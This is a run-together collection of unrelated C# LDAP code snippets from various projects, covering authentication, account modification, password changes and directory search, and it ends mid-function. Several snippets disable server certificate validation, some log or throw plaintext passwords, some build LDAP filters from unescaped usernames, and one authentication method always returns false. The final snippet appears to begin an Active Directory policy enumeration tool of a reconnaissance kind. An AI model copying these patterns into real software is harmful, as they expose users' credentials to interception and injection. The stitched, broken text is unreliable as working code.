/// <summary> /// This method is to help enable the compound identity feature on the computer account in the specific domain. /// </summary> /// <param name="domainName">The domain name of the service principal.</param> /// <param name="computerName">The host name of the service principal.</param> /// <param name="adminName">Need administrator's credential to modify active directory account.</param> /// <param name="adminPwd">Need administrator's credential to modify active directory account.</param> public void enableCompId(string domainName, string computerName, string adminName, string adminPwd) { LdapConnection connection = new LdapConnection(domainName); NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName); connection.Credential = cred; string dn = PacHelper.GetDomainDnFromDomainName(domainName); string targetOu = "cn=Computers," + dn; computerName = computerName.Replace("$", ""); string filter = "cn=" + computerName; string[] attributesToReturn = new string[] { "msDS-SupportedEncryptionTypes" }; SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes; object attributeValue = null; attributeValue = PacHelper.getAttributeValue(attributes, "msDS-SupportedEncryptionTypes"); uint? supportedEncTypes = (uint?)Convert.ToInt32(attributeValue); uint compIdFlag = 131072; if ((supportedEncTypes.Value & compIdFlag) != compIdFlag) { string computerDN = filter + "," + targetOu; supportedEncTypes = supportedEncTypes + compIdFlag; ModifyRequest modRequest = new ModifyRequest(computerDN, DirectoryAttributeOperation.Replace, "msDS-SupportedEncryptionTypes", supportedEncTypes.ToString()); ModifyResponse modResponse = (ModifyResponse)connection.SendRequest(modRequest); } }
//private void trace(object[] data) //{ // try // { // System.Diagnostics.TraceSource trace = new System.Diagnostics.TraceSource("DataIntegratorTraceSource"); // trace.TraceData(System.Diagnostics.TraceEventType.Information, new Random().Next(), data); // trace.Flush(); // } // catch (Exception) // { // //If you want to handle this exception, add your exception handling code here, else you may uncomment the following line to throw this exception out. // throw; // } //} private System.DirectoryServices.Protocols.LdapConnection getLdapConnection(string serverAddresses, Authentication authentication, bool isAutoBind, int timeout) { System.DirectoryServices.Protocols.LdapConnection returnValue = null; if ((!String.IsNullOrEmpty(serverAddresses)) && (authentication != null)) { string[] servers = serverAddresses.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(servers, false, false); NetworkCredential credential = new NetworkCredential(authentication.Identifier, authentication.Password); returnValue = new System.DirectoryServices.Protocols.LdapConnection(identifier, credential); returnValue.AutoBind = isAutoBind; returnValue.AuthType = this.getAuthType(authentication.Type); if (timeout > 0) { returnValue.Timeout = TimeSpan.FromSeconds(timeout); } } return(returnValue); }
/// <summary> /// This method is used to get attribute display name of an account /// </summary> /// <param name="domainName">Local domain Name</param> /// <param name="accountName">Account name, user name or computer name</param> /// <param name="accountType">Users or computers</param> /// <param name="attributename">The attribute of account to query</param> /// <param name="adminName">Admin user Name</param> /// <param name="adminPwd">Admin password</param> public string getAccountAttributeDN(string domainName, string accountName, string accountType, string attributeName, string adminName, string adminPwd) { LdapConnection connection = new LdapConnection(domainName); NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName); connection.Credential = cred; string dn = PacHelper.GetDomainDnFromDomainName(domainName); string targetOu = "CN=" + accountName + ",CN=" + accountType + ",DC=" + domainName + ",DC=com"; string filter = "CN=" + accountName; string[] attributesToReturn = new string[] { attributeName }; SearchRequest searchRequest = null; SearchResponse searchResponse = null; string attributeValue = null; try { searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn); searchResponse = (SearchResponse)connection.SendRequest(searchRequest); SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes; object attribute = null; attribute = PacHelper.getAttributeValue(attributes, attributeName); attributeValue = Convert.ToString(attribute); } catch { throw new InvalidOperationException("Request attribute failed with targetOU: " + targetOu + ", filter: " + filter + ", attribute: " + attributeName); } return attributeValue; }
static Boolean iamDatabaseQuery(System.DirectoryServices.Protocols.LdapConnection ldap) { try { SqlConnection sqlConnection = new SqlConnection("IAMCONNECTIONSTRING"); //TODO: Update this SqlCommand cmd = new SqlCommand(); cmd.CommandText = "SELECT * FROM IAMDATABASETABLENAME"; //TODO: Update this cmd.CommandType = CommandType.Text; cmd.Connection = sqlConnection; sqlConnection.Open(); SqlDataReader reader = cmd.ExecuteReader(); // Data is accessible through the DataReader object here. //TODO:Display Data to Screen sqlConnection.Close(); return(true); } catch (Exception ex) //TODO Hndle exceptions better { Console.WriteLine(ex.StackTrace); return(false); } }
/// <summary> /// Static Method used to create an LDAP connection object /// </summary> /// <param name="credential">User Credential</param> /// <param name="ldapConfigRepository">Repository of all LDAP configuration</param> /// <returns></returns> public static LdapConnection GetLdapConnection(NetworkCredential credential, ILdapConfigRepository ldapConfigRepository) { var ldapConnection = new LdapConnection(ldapConfigRepository.GetServer()) { AuthType = ldapConfigRepository.GetAuthType() }; ldapConnection.SessionOptions.ProtocolVersion = 3; if (ldapConfigRepository.GetSecureSocketLayerFlag()) ldapConnection.SessionOptions.SecureSocketLayer = true; if (ldapConfigRepository.GetTransportSocketLayerFlag()) ldapConnection.SessionOptions.StartTransportLayerSecurity(null); if (ldapConfigRepository.GetClientCertificateFlag()) { var clientCertificateFile = new X509Certificate(); clientCertificateFile.Import(ldapConfigRepository.GetClientCertificatePath()); ldapConnection.ClientCertificates.Add(clientCertificateFile); ldapConnection.SessionOptions.VerifyServerCertificate += (conn, cert) => true; } return ldapConnection; }
public static void CheckCredentials(string login, string password, string server, int portNumber) { try { var domainName = server.Split('/').Last() + ":" + portNumber; // if login with domain login = login.Split('@')[0]; using (var ldap = new LDAPProtocols.LdapConnection(domainName)) { var networkCredential = new NetworkCredential(login, password, domainName); ldap.SessionOptions.VerifyServerCertificate = new LDAPProtocols.VerifyServerCertificateCallback((con, cer) => true); ldap.SessionOptions.SecureSocketLayer = (portNumber == Constants.SSL_LDAP_PORT); ldap.SessionOptions.ProtocolVersion = 3; ldap.AuthType = LDAPProtocols.AuthType.Negotiate; ldap.Bind(networkCredential); } } catch (LDAPProtocols.LdapException e) { if (!e.ErrorCode.Equals(Constants.LDAP_ERROR_INVALID_CREDENTIALS)) { _log.ErrorFormat("Internal LDAP authentication error: {0}.", e); throw new COMException(); } throw new DirectoryServicesCOMException(); } catch (Exception e) { _log.ErrorFormat("Internal AD authentication error: {0}.", e); throw new COMException(); } }
public bool ValidateCredentials(ICollection<Credential> credentials, string password, out Credential matched) { var ldapCred = credentials.FirstOrDefault(c => c.Type == CredentialType_LdapUser); matched = ldapCred; if (ldapCred != null) { try { LdapConnection connection = new LdapConnection(this.Configuration.Server); connection.SessionOptions.SecureSocketLayer = true; connection.SessionOptions.VerifyServerCertificate = (ldapConnection, certificate) => { return true; }; connection.AuthType = AuthType.Negotiate; NetworkCredential credential = new NetworkCredential(ldapCred.Value, password); connection.Credential = credential; connection.Bind(); return true; } catch (Exception) { return false; } } return false; }
public LdapState Connect(NetworkCredential credential) { try { _ldapConnection = LdapConnectionFactory.GetLdapConnection(credential, _configRepository); if (_adminModeChecker.IsAdminMode()) _ldapConnection.Bind(credential); if (_adminModeChecker.IsAnonymousMode()) _ldapConnection.Bind(credential); } catch (Exception e) { string errorConnectionMessage = String.Format("{0}\n User: {1}\n Pwd: {2}{3}{4}{5}", e.Message, credential.UserName, credential.Password, (_configRepository.GetSecureSocketLayerFlag() ? "\n With SSL " : ""), (_configRepository.GetTransportSocketLayerFlag()? "\n With TLS " : ""), (_configRepository.GetClientCertificateFlag() ? "\n With Client Certificate" : "")); _logger.Write(_logger.BuildLogMessage(errorConnectionMessage, LdapState.LdapConnectionError)); return LdapState.LdapConnectionError; } var successConnectionMessage = String.Format("Connection success\n User: {0}\n Pwd: {1}{2}{3}{4}", credential.UserName, credential.Password, (_configRepository.GetSecureSocketLayerFlag() ? "\n With SSL " : ""), (_configRepository.GetTransportSocketLayerFlag() ? "\n With TLS " : ""), (_configRepository.GetClientCertificateFlag() ? "\n With Client Certificate" : "")); if (_adminModeChecker.IsNoAdminMode()) _ldapConnection.Dispose(); _logger.Write(_logger.BuildLogMessage(successConnectionMessage, LdapState.LdapConnectionSuccess)); return LdapState.LdapConnectionSuccess; }
public LdapServer() { m_conn = null; m_cert = null; Timeout = Settings.Store.LdapTimeout; m_useSsl = Settings.Store.UseSsl; m_verifyCert = Settings.Store.RequireCert; string certFile = Settings.Store.ServerCertFile; if (m_useSsl && m_verifyCert) { if ( !string.IsNullOrEmpty(certFile) && File.Exists(certFile)) { m_logger.DebugFormat("Loading server certificate: {0}", certFile); m_cert = new X509Certificate2(certFile); } m_logger.DebugFormat("Certificate file not provided or not found, will validate against Windows store.", certFile); } string[] hosts = Settings.Store.LdapHost; int port = Settings.Store.LdapPort; m_serverIdentifier = new LdapDirectoryIdentifier(hosts, port, false, false); m_logger.DebugFormat("Initializing LdapServer host(s): [{0}], port: {1}, useSSL = {2}, verifyCert = {3}", string.Join(", ", hosts), port, m_useSsl, m_verifyCert); this.Connect(); }
public static SearchResponse GetSearchResponse(string searchFilter, string searchBase, int sizeLimit = 500) { //Establishing a Connection to the LDAP Server //var ldapident = new LdapDirectoryIdentifier(STR_LDAPURL, STR_LDAPPort); var ldapident = new LdapDirectoryIdentifier(STR_LDAPOLD, STR_LDAPPort); //LdapConnection lc = new LdapConnection(ldapident, null, AuthType.Basic); using (var lc = new LdapConnection(ldapident, new NetworkCredential(LDAPUser, LDAPPassword), AuthType.Basic)) { lc.SessionOptions.ProtocolVersion = 3; lc.SessionOptions.SecureSocketLayer = true; lc.SessionOptions.VerifyServerCertificate = (connection, certificate) => true; lc.Bind(); //Configure the Search Request to Query the UCD OpenLDAP Server's People Search Base for a Specific User ID or Mail ID and Return the Requested Attributes var attributesToReturn = new string[] { STR_UID, STR_EmployeeNumber, STR_Mail, STR_Telephone, STR_DisplayName, STR_CN, STR_SN, STR_GivenName, STR_PIDM }; var sRequest = new SearchRequest(searchBase, searchFilter, SearchScope.Subtree, attributesToReturn) { SizeLimit = sizeLimit }; //Send the Request and Load the Response var sResponse = (SearchResponse)lc.SendRequest(sRequest); return sResponse; } }
public static LdapConnection CreateLdapConnection(OcesEnvironment environment) { var ldapServerName = Properties.Get("ldap.server.danid." + environment); var ldapConnection = new LdapConnection(ldapServerName) { AuthType = AuthType.Anonymous }; ldapConnection.SessionOptions.ProtocolVersion = 3; return ldapConnection; }
/// <summary> /// Typical usage: /// foreach (string s in RangeHelper.StringValues(conn, "cn=test", "member", 0, null, false)) /// .... /// /// </summary> /// <param name="conn"></param> /// <param name="entryDn"></param> /// <param name="attrName"></param> /// <param name="start"></param> /// <param name="end"></param> /// <returns></returns> public static IEnumerable<string> StringValues(LdapConnection conn, string entryDn, string attrName, int start, int? end, bool extendedDns) { int requested = 0, returned = 0; if (end != null) requested = end.Value - start; RangeResult r = GetRangeBlock(conn, entryDn, attrName, start, end, extendedDns); while (r != null) { foreach (string s in r.Values) { if (requested > 0 && ++returned >= requested) yield break; yield return s; } if (r.IsFinal) yield break; else r = GetRangeBlock(conn, entryDn, attrName, r.End + 1, end, extendedDns); } yield break; }
public LdapServer() { m_conn = null; m_cert = null; Timeout = Settings.Store.LdapTimeout; int encMethod = Settings.Store.EncryptionMethod; m_encryptionMethod = (Settings.EncryptionMethod)Enum.ToObject(typeof(Settings.EncryptionMethod), encMethod); m_verifyCert = Settings.Store.RequireCert; string certFile = Settings.Store.ServerCertFile; if ((m_encryptionMethod == Settings.EncryptionMethod.START_TLS || m_encryptionMethod == Settings.EncryptionMethod.TLS_SSL) && m_verifyCert) { m_logger.DebugFormat("Loading server certificate: {0}", certFile); if ( !string.IsNullOrEmpty(certFile) && File.Exists(certFile)) { m_cert = new X509Certificate2(certFile); } else m_logger.DebugFormat("Certificate file not provided or not found, will validate against Windows store.", certFile); } string[] hosts = Settings.Store.LdapHost; int port = Settings.Store.LdapPort; m_serverIdentifier = new LdapDirectoryIdentifier(hosts, port, false, false); m_logger.DebugFormat("Initializing LdapServer host(s): [{0}], port: {1}, encryption = {2}, verifyCert = {3}", string.Join(", ", hosts), port, m_encryptionMethod.ToString(), m_verifyCert); this.Connect(); }
public static async Task <IActionResult> Run( [HttpTrigger(AuthorizationLevel.Function, "get", "post", Route = null)] HttpRequest req, ILogger log) { log.LogInformation("C# HTTP trigger function processed a request."); string username = req.Query["username"]; string password = req.Query["password"]; string requestBody = await new StreamReader(req.Body).ReadToEndAsync(); dynamic data = JsonConvert.DeserializeObject(requestBody); username = username ?? data?.username; if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password)) { string responseMessage = "Parameters Missing"; return(new OkObjectResult(responseMessage)); } bool authenticated = false; try { LdapDirectoryIdentifier ldi = new LdapDirectoryIdentifier(Environment.GetEnvironmentVariable("LDAP_SERVER"), 389); System.DirectoryServices.Protocols.LdapConnection ldapConnection = new System.DirectoryServices.Protocols.LdapConnection(ldi); Console.WriteLine("LdapConnection is created successfully."); ldapConnection.AuthType = AuthType.Basic; ldapConnection.SessionOptions.ProtocolVersion = 3; NetworkCredential nc = new NetworkCredential("uid=" + username + ",ou=people,dc=eastus,dc=cloudapp,dc=azure,dc=com", password); ldapConnection.Bind(nc); Console.WriteLine("LdapConnection authentication success"); ldapConnection.Dispose(); authenticated = true; } catch (DirectoryServicesCOMException cex) { log.LogInformation(cex.ToString()); } catch (Exception ex) { log.LogInformation(ex.ToString()); } if (authenticated != true) { string Message = "USER NOT AUTHENTICATED"; return(new OkObjectResult(Message)); } else { string Message = "User is Auth in this organization unit"; return(new OkObjectResult(Message)); } }
public Client(string username, string domain, string password, string url) { var credentials = new NetworkCredential(username, password, domain); var serverId = new LdapDirectoryIdentifier(url); connection = new LdapConnection(serverId, credentials); connection.Bind(); }
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ protected void StandardConnect(NetworkCredential credential) { if (LdapParameterChecker.ParametersIsNullOrEmpty(new []{credential.UserName})) throw new InvalidCredentialException("Username cannot be null or empty"); if (LdapParameterChecker.ParametersIsNullOrEmpty(new []{credential.Password})) throw new InvalidCredentialException("Password cannot be null or empty"); _ldapConnection = LdapConnectionFactory.GetLdapConnection(_configRepository); _ldapConnection.Bind(credential); }
internal LdapSessionOptions(LdapConnection connection) { this.connection = connection; this.queryDelegate = new QUERYFORCONNECTIONInternal(this.ProcessQueryConnection); this.notifiyDelegate = new NOTIFYOFNEWCONNECTIONInternal(this.ProcessNotifyConnection); this.dereferenceDelegate = new DEREFERENCECONNECTIONInternal(this.ProcessDereferenceConnection); this.serverCertificateRoutine = new VERIFYSERVERCERT(this.ProcessServerCertificate); }
public bool ConnectLDAP() { m_LdapConnection = new LdapConnection(m_LdapServer); m_LdapConnection.SessionOptions.ProtocolVersion = 3; m_LdapConnection.AuthType = AuthType.Basic; m_LdapConnection.Credential = m_Credential; m_LdapConnection.Bind(); return true; }
public LdapPartialAsyncResult(int messageID, AsyncCallback callbackRoutine, object state, bool partialResults, LdapConnection con, bool partialCallback, TimeSpan requestTimeout) : base(callbackRoutine, state, partialResults) { this.messageID = -1; this.messageID = messageID; this.con = con; base.partialResults = true; this.partialCallback = partialCallback; this.requestTimeout = requestTimeout; this.startTime = DateTime.Now; }
static void Main(string[] args) { // LdapTest <address> <domain> [<username> <password> [<domain>]] // 0 1 2 3 4 var directory = new LdapDirectoryIdentifier(args[0]); var credential = args.Length > 4 ? new NetworkCredential(args[2], args[3], args[4]) : args.Length > 2 ? new NetworkCredential(args[2], args[3]) : new NetworkCredential(); using (var connection = new LdapConnection(directory, credential)) { //while (true) { var request = new SearchRequest( "DC=" + args[1].Replace(".", ",DC="), "(&(objectClass=organizationalPerson)(sAMAccountType=805306368))", System.DirectoryServices.Protocols.SearchScope.Subtree, new[] { "cn" } ); try { var t = Stopwatch.StartNew(); PageResultRequestControl pageRequestControl = new PageResultRequestControl(1000); // used to retrieve the cookie to send for the subsequent request PageResultResponseControl pageResponseControl; request.Controls.Add(pageRequestControl); while (true) { var response = (SearchResponse)connection.SendRequest(request); pageResponseControl = (PageResultResponseControl)response.Controls[0]; if (pageResponseControl.Cookie.Length == 0) break; pageRequestControl.Cookie = pageResponseControl.Cookie; Console.WriteLine("{0}\t{1} entries: {2} - {3} in {4:F1}", DateTime.Now, response.Entries.Count, AttributeOf(response.Entries[0], "cn"), AttributeOf(response.Entries[response.Entries.Count - 1], "cn"), t.Elapsed.TotalSeconds ); } t.Stop(); } catch (Exception ex) { Console.WriteLine("{0}\tERRROR - {1}", DateTime.Now, ex.Message); } //Thread.Sleep(TimeSpan.FromSeconds(30)); } } }
public void Start() { Guard.IsNull(_connection, "You may only call Start one time."); _connection = new LdapConnection( new LdapDirectoryIdentifier(_adServer), null, AuthType.Negotiate); _connection.Bind(); _timer = new Timer(timerCallback, null, TimeSpan.FromSeconds(0), pollingInterval); }
public bool IsAuthenticated(string username, string pwd) { ILog log = LogManager.GetLogger(GetType()); try { log.InfoFormat("连接Ldap服务器,server是{0}", Server); var connection = new LdapConnection(Server) { AuthType = AuthType.Basic }; connection.SessionOptions.ProtocolVersion = 3; if (!AnonymousLogin) { log.InfoFormat("使用Credential账户是{0},密码是{1}", CredentialUserName, CredentialPassword); connection.Credential = new NetworkCredential(CredentialUserName, CredentialPassword ?? ""); } if (IsSsl) { log.Info("使用SSL连接"); connection.SessionOptions.SecureSocketLayer = true; } log.DebugFormat("创建SearchRequest,distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username); var searchRequestion = new SearchRequest(SearchUserPath, "uid=" + username, SearchScope.Subtree); var searchResult = (SearchResponse)connection.SendRequest(searchRequestion, new TimeSpan(0, 0, 0, 30)); if (searchResult.Entries.Count == 0) { log.InfoFormat("无法通过找到用户.distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username); return false; } SearchResultEntry entry = searchResult.Entries[0]; string dn = entry.DistinguishedName; log.InfoFormat("DN是{0}", dn); connection.Credential = new NetworkCredential(dn, pwd); connection.Bind(); return true; } catch (Exception ex) { log.Error(ex.Message, ex); return false; } }
public void Delete(LdapConnection ldap) { CheckForDeletion(); if (this.IsNewEntry) { throw new InvalidOperationException(String.Format("Entry {0} was never committed - cannot delete", this.DistinguishedName)); } DeleteRequest del = new DeleteRequest(this.DistinguishedName); ldap.SendRequest(del); this.IsDeleted = true; }
public bool Authenticate(string password) { try { var credential = new NetworkCredential(UserName, password, Domain); var ldapServer = Domain; var ldapConnection = new LdapConnection(ldapServer); ldapConnection.Bind(credential); } catch (Exception e) { Console.WriteLine(e.Message); return false; } return false; }
/// <summary> /// read msDS-ClaimValueType of a claim from DC /// </summary> /// <param name="dn">Distinguished Name of claim</param> /// <param name="server">DC name or address</param> /// <returns>CLAIM_TYPE</returns> CLAIM_TYPE getClaimValueType(string dn, string server) { using (System.DirectoryServices.Protocols.LdapConnection con = new System.DirectoryServices.Protocols.LdapConnection(server)) { System.DirectoryServices.Protocols.SearchRequest req = new System.DirectoryServices.Protocols.SearchRequest( dn, "(objectclass=*)", System.DirectoryServices.Protocols.SearchScope.Base, new string[] { ConstValue.msDSClaimValueType }); System.DirectoryServices.Protocols.SearchResponse res = (System.DirectoryServices.Protocols.SearchResponse)con.SendRequest(req); object o = res.Entries[0].Attributes[ConstValue.msDSClaimValueType][0]; return((CLAIM_TYPE)Enum.Parse(typeof(CLAIM_TYPE), o.ToString())); } }
public bool ValidateUserInternal(string username, string password) { LdapConnection connection = new LdapConnection(Domain); try { connection.Bind(new NetworkCredential(username, password)); } catch { return false; } finally { connection.Dispose(); } return true; }
public string createUserLdap(User user) { ldapId = new LdapDirectoryIdentifier(HOST, PORT); network = new NetworkCredential(ADMIN, ADMIN_PASS); using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic)) { try { string[] objectClass = new string[] { "top", "inetOrgPerson", "organizationalPerson", "person" }; connection.SessionOptions.SecureSocketLayer = false; connection.SessionOptions.ProtocolVersion = 3; String dn = DN_CREATE.Replace("{0}", user.email); DirectoryAttributeCollection collection = new DirectoryAttributeCollection() { new DirectoryAttribute("objectclass", objectClass), new DirectoryAttribute("uid",user.email), new DirectoryAttribute("sn", user.lastName), new DirectoryAttribute("cn", user.userName), new DirectoryAttribute("employeeNumber", user.userId), new DirectoryAttribute("departmentNumber", user.userGroup), new DirectoryAttribute("userPassword", user.password) }; AddRequest addMe = new AddRequest(dn, "inetOrgPerson"); addMe.Attributes.AddRange(collection); connection.Bind(); connection.SendRequest(addMe); return "OK"; } catch (LdapException ex) { throw new BusinessException("Ldap error: " + ex.Message); } catch (Exception e) { throw new PlatformException("Ldap error: " + e.Message); } } }
public ValidationResult AuthenticateUser(UserDetails user) { ValidationResult validationResult = null; try { LdapConnection lcon = new LdapConnection(new LdapDirectoryIdentifier(_adServerAddress, _ldapPortNumber)); NetworkCredential nc = new NetworkCredential(user.UserName, user.Password, Environment.UserDomainName); lcon.Credential = nc; lcon.AuthType = AuthType.Negotiate; lcon.Bind(nc); validationResult = new ValidationResult(true, false, null); } catch (LdapException e) { //tbd - investigate other possible ldap exceptions //if (e.Message == "The supplied credential is invalid.") if (e.ErrorCode.Equals(LDAPError_InvalidCredentials)) { validationResult = new ValidationResult(false, true, e.Message); } else { //implement logging and exception email handling here. validationResult = new ValidationResult(false, true, "A system error occured, please contact system administrator and/or check system logs."); } } catch (Exception e) { validationResult = new ValidationResult(false, true, "A system error occured, please contact system administrator and/or check system logs."); //add new fields for error logging var errorLoggingWSClient = new ErrorLoggingServiceClient(); errorLoggingWSClient.LogApplicationError(new ApplicationErrorRequest() { ApplicationName = "KingstonWharvesWS.ADAuthentication" }); } return validationResult; }
public static bool ChangePassword(LdapConnection connection, string userDN, string oldPassword, string newPassword, bool dryRun = false) { // Create change password request DirectoryAttributeModification deleteMod = new DirectoryAttributeModification(); deleteMod.Name = "unicodePwd"; deleteMod.Add(Encoding.Unicode.GetBytes("\"" + oldPassword + "\"")); deleteMod.Operation = DirectoryAttributeOperation.Delete; DirectoryAttributeModification addMod = new DirectoryAttributeModification(); addMod.Name = "unicodePwd"; addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\"")); addMod.Operation = DirectoryAttributeOperation.Add; ModifyRequest request = new ModifyRequest(userDN, deleteMod, addMod); try { if (!dryRun) { DirectoryResponse response = connection.SendRequest(request); return response.ResultCode == 0; } else { return true; } } catch (DirectoryOperationException ex) { if (ex.Response.ErrorMessage.StartsWith("0000052D")) { throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain."); } // TODO: Convert to DirectoryOperationException and use better match to give the dsHeuristics exception else if (ex.Message == "The object does not exist") { throw new Exception("User not allowed to change own password because of missing permission, set dsHeuristics to 0000000001001 on CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,CN=..."); } else { throw; } } }
/// <summary> /// Autentica a un usuario contra openLDAP y verifica su membresia en alguno de los grupos /// </summary> /// <param name="nombreUsuario">Nombre de usuario</param> /// <param name="password">Contraseña del usuario</param> /// <returns>El grupo al que pertenece el usuario o null en caso que no esté registrado.</returns> public GrupoLDAP autenticarUsuario(string nombreUsuario, string password) { // Valida usuario y contraseña correctos LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER); LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER); openLdap.Credential = new System.Net.NetworkCredential("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr", password); openLdap.AuthType = AuthType.Basic; openLdap.SessionOptions.ProtocolVersion = 3; try { openLdap.Bind(); } catch (Exception e) { openLdap.Dispose(); _conexionBD = new ManejoBD(); _conexionBD.insertarBitacoraError(e.ToString(), ""); return null; } // Buscar grupo al que pertenezca el usuario foreach (GrupoLDAP grupo in _listadaGrupos.obtenerGruposLDAP()) { SearchRequest searchRequest = new SearchRequest("cn=" + grupo.NombreGrupo + ",ou=group,dc=ic-itcr,dc=ac,dc=cr", "(memberUid=" + nombreUsuario + ")", System.DirectoryServices.Protocols.SearchScope.Subtree); try { SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest); if (searchResponse.Entries.Count != 0) { openLdap.Dispose(); return grupo; } } catch (Exception e)// En caso que algún grupo registrado en ListadoGruposLDAP.getGroupList() no exista. { _conexionBD = new ManejoBD(); _conexionBD.insertarBitacoraError(e.ToString(), "Algún grupo registrado en ListadoGruposLDAP.getGroupList() no existe."); continue; } } openLdap.Dispose(); return null; }
public LdapUserModel ValidateUsernameAndPassword(string username, string password) { var ldapServer = Configuration.Server; var baseDn = Configuration.BaseDn; try { LdapConnection connection = new LdapConnection(ldapServer); connection.SessionOptions.SecureSocketLayer = true; connection.SessionOptions.VerifyServerCertificate = (ldapConnection, certificate) => true; connection.AuthType = AuthType.Negotiate; NetworkCredential credential = new NetworkCredential(username, password); connection.Credential = credential; connection.Bind(); string filter = string.Format(CultureInfo.InvariantCulture, "(&(objectClass=user)(objectCategory=user) (sAMAccountName={0}))", LdapEncode(username)); var attributes = new[] { "sAMAccountName", "displayName", "mail" }; SearchRequest searchRequest = new SearchRequest(baseDn, filter, SearchScope.Subtree, attributes); var searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse?.ResultCode == ResultCode.Success) { var entry = searchResponse.Entries[0]; var model = new LdapUserModel { Identity = GetStringValue(entry, "sAMAccountName"), Email = GetStringValue(entry, "mail"), Username = GetStringValue(entry, "sAMAccountName"), }; return model; } } catch (Exception) { return null; } return null; }
public bool CheckUserCredential(String UserName, String Password) { try { LdapDirectoryIdentifier ldi = new LdapDirectoryIdentifier(_ldapServers, _ldapPort, true, false); LdapConnection lc = new LdapConnection(ldi); lc.AuthType = AuthType.Kerberos; String ldapUser = String.Format("{0}@{1}", UserName, _userSuffix); lc.Credential = new NetworkCredential(ldapUser, Password); lc.Bind(); return true; } catch (Exception e) { throw; } }
public static LdapConnection LdapConnectBind(Uri url, string user, string password) { // Create connection without SSL and other security LdapConnection connection = new LdapConnection(url.Host + ":" + url.Port); if (url.Scheme == "ldap") { connection.SessionOptions.SecureSocketLayer = false; connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = false; } else if (url.Scheme == "ldaps") { connection.SessionOptions.SecureSocketLayer = true; } else { throw new Exception("Unknown connection type:" + url.Scheme); } // Basic bind with user and old password NetworkCredential credential = new NetworkCredential(user, password); connection.AuthType = AuthType.Basic; try { connection.Bind(credential); } catch (LdapException ex) { // Invalid credentials if (ex.ErrorCode == 49) { throw new Exception(String.Format("Invalid credentials: {0}, {1}", user, password)); } else { throw; } } return connection; }
public bool CheckCredentials(string login, string password) { if (login == null) { throw new ArgumentNullException("login"); } if (password == null) { throw new ArgumentNullException("password"); } if (Server == null) { throw new ArgumentNullException("Server"); } try { var domainName = Server.Split('/').Last() + ":" + PortNumber; // if login with domain login = login.Split('@')[0]; using (var ldap = new LDAPProtocols.LdapConnection(domainName)) { var networkCredential = new NetworkCredential(login, password, domainName); ldap.SessionOptions.VerifyServerCertificate = new LDAPProtocols.VerifyServerCertificateCallback((con, cer) => true); ldap.SessionOptions.SecureSocketLayer = (PortNumber == SSL_LDAP_PORT); ldap.SessionOptions.ProtocolVersion = 3; ldap.AuthType = LDAPProtocols.AuthType.Negotiate; ldap.Bind(networkCredential); } return(true); } catch (Exception e) { _log.ErrorFormat("Internal LDAP authentication error: {0}. {1}", e, e.StackTrace); } return(false); }
static void Main(string[] args) { string domain = ""; string domainController = ""; string searchScope = ""; string searchBase = ""; bool verbose = false; var Options = new Options(); if (CommandLineParser.Default.ParseArguments(args, Options)) { if (Options.help == true) { PrintHelp(); return; } if (!string.IsNullOrEmpty(Options.domain)) { domain = Options.domain; } if (string.IsNullOrEmpty(Options.searchScope)) { searchScope = "SubTree"; } else { searchScope = Options.searchScope; } if (!string.IsNullOrEmpty(Options.domainController)) { domainController = Options.domainController; } if (Options.verbose) { verbose = true; } if (!string.IsNullOrEmpty(Options.searchBase)) { searchBase = Options.searchBase; } } var listEnableLUA = new List <string>(); var listFilterAdministratorToken = new List <string>(); var listLocalAccountTokenFilterPolicy = new List <string>(); var listSeDenyNetworkLogonRight = new List <string>(); var listSeDenyRemoteInteractiveLogonRight = new List <string>(); var computerPolicyEnableLUA = new List <string>(); var computerPolicyFilterAdministratorToken = new List <string>(); var computerPolicyLocalAccountTokenFilterPolicy = new List <string>(); var computerPolicySeDenyNetworkLogonRight = new List <string>(); var computerPolicySeDenyRemoteInteractiveLogonRight = new List <string>(); //discover current domain System.DirectoryServices.ActiveDirectory.Domain current_domain = null; if (string.IsNullOrEmpty(domain)) { try { current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain(); domain = current_domain.Name; } catch { Console.WriteLine("[!] Cannot enumerate domain.\n"); return; } } else { DirectoryContext domainContext = new DirectoryContext(DirectoryContextType.Domain, domain); try { current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(domainContext); } catch { Console.WriteLine("\n[!] The specified domain does not exist or cannot be contacted. Exiting...\n"); return; } } if (string.IsNullOrEmpty(Options.domainController)) { domainController = current_domain.FindDomainController().Name; } else { var ldapId = new LdapDirectoryIdentifier(Options.domainController); using (var testConnection = new LdapConnection(ldapId)) { try { testConnection.Bind(); } catch { Console.WriteLine("\n[!] The specified domain controller cannot be contacted. Exiting...\n"); return; } } } domain = domain.ToLower(); String[] DC_array = null; String distinguished_name = null; distinguished_name = "CN=Policies,CN=System"; DC_array = domain.Split('.'); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; } System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(domainController, 389); 